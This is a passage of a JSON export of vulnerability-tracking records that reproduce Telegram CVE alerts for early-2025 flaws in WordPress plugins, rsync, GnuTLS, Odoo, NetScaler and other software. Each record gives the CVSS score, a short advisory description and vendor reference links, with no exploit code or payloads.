"seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6554", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12799\n\ud83d\udd25 CVSS Score: 10 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:P/AU:Y/R:U/V:C/RE:H/U:Red)\n\ud83d\udd39 Description: Insufficiently Protected Credentials\nvulnerability in OpenText Identity Manager Advanced Edition on Windows, Linux,\n64 bit allows Privilege Abuse. This vulnerability could allow an\nauthenticated user to obtain higher privileged user\u2019s sensitive information via\ncrafted payload.\n\nThis issue affects Identity Manager Advanced\nEdition: from 4.8.0.0 through 4.8.7.0102, 4.9.0.0.\n\ud83d\udccf Published: 2025-03-05T14:55:55.363Z\n\ud83d\udccf Modified: 2025-03-05T14:55:55.363Z\n\ud83d\udd17 References:\n1. https://portal.microfocus.com/s/article/KM000037455", "creation_timestamp": "2025-03-05T15:33:03.000000Z"}, {"uuid": "f7f9e289-7530-4714-aceb-7bfffe29c994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12522", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4796", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12522\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Yay! Forms | Embed Custom Forms, Surveys, and Quizzes Easily plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'yayforms' shortcode in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-02-19T07:32:08.089Z\n\ud83d\udccf Modified: 2025-02-19T07:32:08.089Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/461ab75a-3ced-4296-9dc1-b8eee17a8299?source=cve\n2. https://plugins.trac.wordpress.org/browser/yayforms/tags/1.2.1/yayforms.php#L123", "creation_timestamp": "2025-02-19T08:41:18.000000Z"}, {"uuid": "475cbe3a-8648-4cc1-a654-96f1a4e9999d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4859", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12284\n\ud83d\udd25 CVSS Score: 8.8 (cvssV4_0, Vector: CVSS:4.0/AV:A/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)\n\ud83d\udd39 Description: Authenticated privilege escalation in\u00a0NetScaler Console and NetScaler Agent allows.\n\ud83d\udccf Published: 2025-02-19T23:30:11.146Z\n\ud83d\udccf Modified: 2025-02-21T04:56:13.966Z\n\ud83d\udd17 References:\n1. https://support.citrix.com/s/article/CTX692579-netscaler-console-and-netscaler-agent-security-bulletin-for-cve202412284?language=en_US", "creation_timestamp": "2025-02-21T05:18:28.000000Z"}, {"uuid": "3c5eb629-42f3-4fc7-abef-9e4a93db294f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12452", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4870", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12452\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Ziggeo plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ziggeo_event' shortcode in all versions up to, and including, 3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-02-21T09:21:06.824Z\n\ud83d\udccf Modified: 2025-02-21T09:21:06.824Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/be82095d-2b15-432e-a667-523286fa9629?source=cve\n2. https://plugins.trac.wordpress.org/browser/ziggeo/tags/3.1/core/events.php#L52\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3242184%40ziggeo&new=3242184%40ziggeo&sfp_email=&sfph_mail=", "creation_timestamp": "2025-02-21T10:20:17.000000Z"}, {"uuid": "39300a87-a524-4e69-9a42-1b4d3464ccae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12916", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5139", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12916\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Agito Computer Life4All allows SQL Injection.This issue affects Life4All: before 10.01.2025.\n\ud83d\udccf Published: 2025-02-24T14:06:29.227Z\n\ud83d\udccf Modified: 2025-02-24T14:06:29.227Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0042", "creation_timestamp": "2025-02-24T14:22:07.000000Z"}, {"uuid": "406d8e91-9186-4443-bebc-34f498f8a09b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12467", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5014", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12467\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Pago por Redsys plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'Ds_MerchantParameters' parameter in all versions up to, and including, 1.0.12 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-02-22T04:21:16.579Z\n\ud83d\udccf Modified: 2025-02-22T04:21:16.579Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ed05cd81-ca21-41de-9b02-bd84498cd74e?source=cve\n2. https://plugins.trac.wordpress.org/browser/pago-redsys-tpv-grafreak/tags/1.0.13/public/partials/pago-redsys-grafreak-public-display.php#L82\n3. https://plugins.trac.wordpress.org/browser/pago-redsys-tpv-grafreak/tags/1.0.13/includes/class-redsysapi.php#L263\n4. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3215878%40pago-redsys-tpv-grafreak&new=3215878%40pago-redsys-tpv-grafreak&sfp_email=&sfph_mail=", "creation_timestamp": "2025-02-22T05:18:49.000000Z"}, {"uuid": "e051905f-9e74-4cfa-9406-1f3f79f63a6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4996", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12243\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: A flaw was found in GnuTLS, which relies on libtasn1 for ASN.1 data processing. Due to an inefficient algorithm in libtasn1, decoding certain DER-encoded certificate data can take excessive time, leading to increased resource consumption. This flaw allows a remote attacker to send a specially crafted certificate, causing GnuTLS to become unresponsive or slow, resulting in a denial-of-service condition.\n\ud83d\udccf Published: 2025-02-10T15:28:10.328Z\n\ud83d\udccf Modified: 2025-02-21T22:02:34.513Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12243\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2344615\n3. https://gitlab.com/gnutls/libtasn1/-/issues/52", "creation_timestamp": "2025-02-21T22:18:55.000000Z"}, {"uuid": "376be30a-aabe-4c59-a99c-a3b2a01cbe4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12038", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5013", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12038\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Post Form \u2013 Registration Form \u2013 Profile Form for User Profiles \u2013 Frontend Content Forms for User Submissions (UGC) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'buddyforms_nav' shortcode in all versions up to, and including, 2.8.15 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-02-22T04:21:16.997Z\n\ud83d\udccf Modified: 2025-02-22T04:21:16.997Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ff0568e2-3a1e-4ed6-835a-37e3d07d7b63?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3244167/buddyforms/trunk/includes/shortcodes.php", "creation_timestamp": "2025-02-22T05:18:48.000000Z"}, {"uuid": "8472820e-41fa-440a-b8dd-cf08b2e41c1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12917", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5186", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12917\n\ud83d\udd25 CVSS Score: 8.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L)\n\ud83d\udd39 Description: Files or Directories Accessible to External Parties vulnerability in Agito Computer Health4All allows Exploiting Incorrectly Configured Access Control Security Levels, Authentication Abuse.This issue affects Health4All: before 10.01.2025.\n\ud83d\udccf Published: 2025-02-24T14:14:55.690Z\n\ud83d\udccf Modified: 2025-02-24T16:58:24.511Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0042", "creation_timestamp": "2025-02-24T17:21:54.000000Z"}, {"uuid": "71ad0332-cdee-4a61-a803-ba9d54046a43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12918", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5189", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12918\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Agito Computer Health4All allows SQL Injection.This issue affects Health4All: before 10.01.2025.\n\ud83d\udccf Published: 2025-02-24T14:18:17.909Z\n\ud83d\udccf Modified: 2025-02-24T16:56:38.810Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0042", "creation_timestamp": "2025-02-24T17:21:56.000000Z"}, {"uuid": "2bb77b7b-4cfd-4e7b-bdfe-79b0a5ad5cb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12308", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5130", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12308\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Logo Slider  WordPress plugin before 4.6.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2025-02-24T06:00:02.865Z\n\ud83d\udccf Modified: 2025-02-24T06:00:02.865Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/fa82ada7-357b-4f01-a0d6-ff633b188a80/", "creation_timestamp": "2025-02-24T06:22:05.000000Z"}, {"uuid": "9fba04cf-a3b8-40d0-95fb-e2767cd3395b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12737", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5471", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12737\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The WP BASE Booking of Appointments, Services and Events WordPress plugin before 5.0.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-02-26T06:00:06.774Z\n\ud83d\udccf Modified: 2025-02-26T06:00:06.774Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/997eb9f6-80e1-4bc5-be72-bd6a6f52379c/", "creation_timestamp": "2025-02-26T06:25:25.000000Z"}, {"uuid": "d85d3014-7cd8-4ed6-8580-b3385d1fc167", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12698", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5259", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12698\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: An incomplete fix for ose-olm-catalogd-container was issued for the Rapid Reset Vulnerability (CVE-2023-39325/CVE-2023-44487) where only unauthenticated streams were protected, not streams created by authenticated sources.\n\ud83d\udccf Published: 2024-12-18T05:07:21.026Z\n\ud83d\udccf Modified: 2025-02-25T08:07:40.863Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2024:6122\n2. https://access.redhat.com/security/cve/CVE-2024-12698\n3. https://bugzilla.redhat.com/show_bug.cgi?id=2332674", "creation_timestamp": "2025-02-25T08:25:23.000000Z"}, {"uuid": "b41c5ffb-ee7a-4ea3-b0ac-2ec6a49664f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12368", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5340", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12368\n\ud83d\udd25 CVSS Score: 8.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)\n\ud83d\udd39 Description: Improper access control in the auth_oauth module of Odoo Community 15.0 and Odoo Enterprise 15.0 allows an internal user to export the OAuth tokens of other users.\n\ud83d\udccf Published: 2025-02-25T18:10:12.109Z\n\ud83d\udccf Modified: 2025-02-25T18:10:12.109Z\n\ud83d\udd17 References:\n1. https://github.com/odoo/odoo/issues/193854", "creation_timestamp": "2025-02-25T18:22:34.000000Z"}, {"uuid": "e56f4dde-b08c-4caa-b61e-40e8e9d0f6c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12878", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5470", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12878\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Custom Block Builder  WordPress plugin before 3.8.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-02-26T06:00:07.209Z\n\ud83d\udccf Modified: 2025-02-26T06:00:07.209Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/827444d1-87cb-4057-827a-d802eac82cf8/", "creation_timestamp": "2025-02-26T06:25:24.000000Z"}, {"uuid": "03fe51d2-fe50-4d6a-943a-96249920aa2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5498", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12084\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A heap-based buffer overflow flaw was found in the rsync daemon. This issue is due to improper handling of attacker-controlled checksum lengths (s2length) in the code. When MAX_DIGEST_LEN exceeds the fixed SUM_LENGTH (16 bytes), an attacker can write out of bounds in the sum2 buffer.\n\ud83d\udccf Published: 2025-01-15T14:16:35.363Z\n\ud83d\udccf Modified: 2025-02-26T14:11:34.507Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12084\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330527\n3. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-02-26T14:25:27.000000Z"}, {"uuid": "e54cf1bb-b594-4216-ab0b-6bb4f01a6ff2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5494", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12086\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N)\n\ud83d\udd39 Description: A flaw was found in rsync. It could allow a server to enumerate the contents of an arbitrary file from the client's machine. This issue occurs when files are being copied from a client to a server. During this process, the rsync server will send checksums of local data to the client to compare with in order to determine what data needs to be sent to the server. By sending specially constructed checksum values for arbitrary files, an attacker may be able to reconstruct the data of those files byte-by-byte based on the responses from the client.\n\ud83d\udccf Published: 2025-01-14T17:37:54.960Z\n\ud83d\udccf Modified: 2025-02-26T14:20:53.620Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12086\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330577\n3. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-02-26T14:25:21.000000Z"}, {"uuid": "6b581a5c-cc72-425c-a461-df9ef9ac1129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5493", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12085\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: A flaw was found in rsync which could be triggered when rsync compares file checksums. This flaw allows an attacker to manipulate the checksum length (s2length) to cause a comparison between a checksum and uninitialized memory and leak one byte of uninitialized stack data at a time.\n\ud83d\udccf Published: 2025-01-14T17:37:16.036Z\n\ud83d\udccf Modified: 2025-02-26T14:20:59.800Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:0324\n2. https://access.redhat.com/errata/RHSA-2025:0325\n3. https://access.redhat.com/errata/RHSA-2025:0637\n4. https://access.redhat.com/errata/RHSA-2025:0688\n5. https://access.redhat.com/errata/RHSA-2025:0714\n6. https://access.redhat.com/errata/RHSA-2025:0774\n7. https://access.redhat.com/errata/RHSA-2025:0787\n8. https://access.redhat.com/errata/RHSA-2025:0790\n9. https://access.redhat.com/errata/RHSA-2025:0849\n10. https://access.redhat.com/errata/RHSA-2025:0884\n11. https://access.redhat.com/errata/RHSA-2025:0885\n12. https://access.redhat.com/errata/RHSA-2025:1120\n13. https://access.redhat.com/errata/RHSA-2025:1123\n14. https://access.redhat.com/errata/RHSA-2025:1128\n15. https://access.redhat.com/errata/RHSA-2025:1225\n16. https://access.redhat.com/errata/RHSA-2025:1227\n17. https://access.redhat.com/errata/RHSA-2025:1242\n18. https://access.redhat.com/errata/RHSA-2025:1451\n19. https://access.redhat.com/security/cve/CVE-2024-12085\n20. https://bugzilla.redhat.com/show_bug.cgi?id=2330539\n21. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-02-26T14:25:20.000000Z"}, {"uuid": "af2c0df7-48db-409c-96f1-918c1be96de9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5497", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12087\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)\n\ud83d\udd39 Description: A path traversal vulnerability exists in rsync. It stems from behavior enabled by the `--inc-recursive` option, a default-enabled option for many client options and can be enabled by the server even if not explicitly enabled by the client. When using the `--inc-recursive` option, a lack of proper symlink verification coupled with deduplication checks occurring on a per-file-list basis could allow a server to write files outside of the client's intended destination directory. A malicious server could write malicious files to arbitrary locations named after valid directories/paths on the client.\n\ud83d\udccf Published: 2025-01-14T17:57:33.927Z\n\ud83d\udccf Modified: 2025-02-26T14:12:41.645Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12087\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330672\n3. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-02-26T14:25:23.000000Z"}, {"uuid": "c57acd34-2139-430f-992c-c8d50408fe11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5496", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12088\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)\n\ud83d\udd39 Description: A flaw was found in rsync. When using the `--safe-links` option, the rsync client fails to properly verify if a symbolic link destination sent from the server contains another symbolic link within it. This results in a path traversal vulnerability, which may lead to arbitrary file write outside the desired directory.\n\ud83d\udccf Published: 2025-01-14T17:38:34.890Z\n\ud83d\udccf Modified: 2025-02-26T14:13:22.355Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12088\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330676\n3. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-02-26T14:25:23.000000Z"}, {"uuid": "64b5613f-795a-4da9-ac1b-22b0421e696e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12281", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6536", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12281\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Homey theme for WordPress is vulnerable to privilege escalation in all versions up to, and including, 2.4.2. This is due to the plugin allowing users who are registering new accounts to set their own role. This makes it possible for unauthenticated attackers to gain elevated privileges by creating an account with the Editor or Shop Manager role.\n\ud83d\udccf Published: 2025-03-05T11:22:09.778Z\n\ud83d\udccf Modified: 2025-03-05T11:22:09.778Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/3b93c33c-4ab1-48a2-b84d-3cb38ccea829?source=cve\n2. https://themeforest.net/item/homey-booking-wordpress-theme/23338013", "creation_timestamp": "2025-03-05T11:37:36.000000Z"}, {"uuid": "e43099a4-59d4-406d-978e-27bcccb38da1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12811", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5823", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12811\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Traveler theme for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.1.8 via the 'hotel_alone_slider' shortcode 'style' attribute. This makes it possible for authenticated attackers, with contributor-level and above permissions, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where php file type can be uploaded and included.\n\ud83d\udccf Published: 2025-02-27T23:22:40.122Z\n\ud83d\udccf Modified: 2025-02-27T23:22:40.122Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/a09298b3-3b5c-4a92-9332-79ff83234479?source=cve\n2. https://travelerwp.com/traveler-changelog/", "creation_timestamp": "2025-02-28T00:25:53.000000Z"}, {"uuid": "ce19597e-fdde-4ca5-9d98-61aa582747b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12820", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5842", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12820\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The MK Google Directions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'MKGD' shortcode in all versions up to, and including, 3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-02-28T05:23:15.594Z\n\ud83d\udccf Modified: 2025-02-28T05:23:15.594Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/23b3570c-cd8e-4dec-bbad-6374c44530bd?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3246361/google-distance-calculator/tags/3.1.1/mk-google-directions.php?old=3046209&old_path=google-distance-calculator%2Ftags%2F3.1%2Fmk-google-directions.php", "creation_timestamp": "2025-02-28T06:25:59.000000Z"}, {"uuid": "877fe141-0405-492f-91fb-35e2dda07b39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12815", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6520", "content": 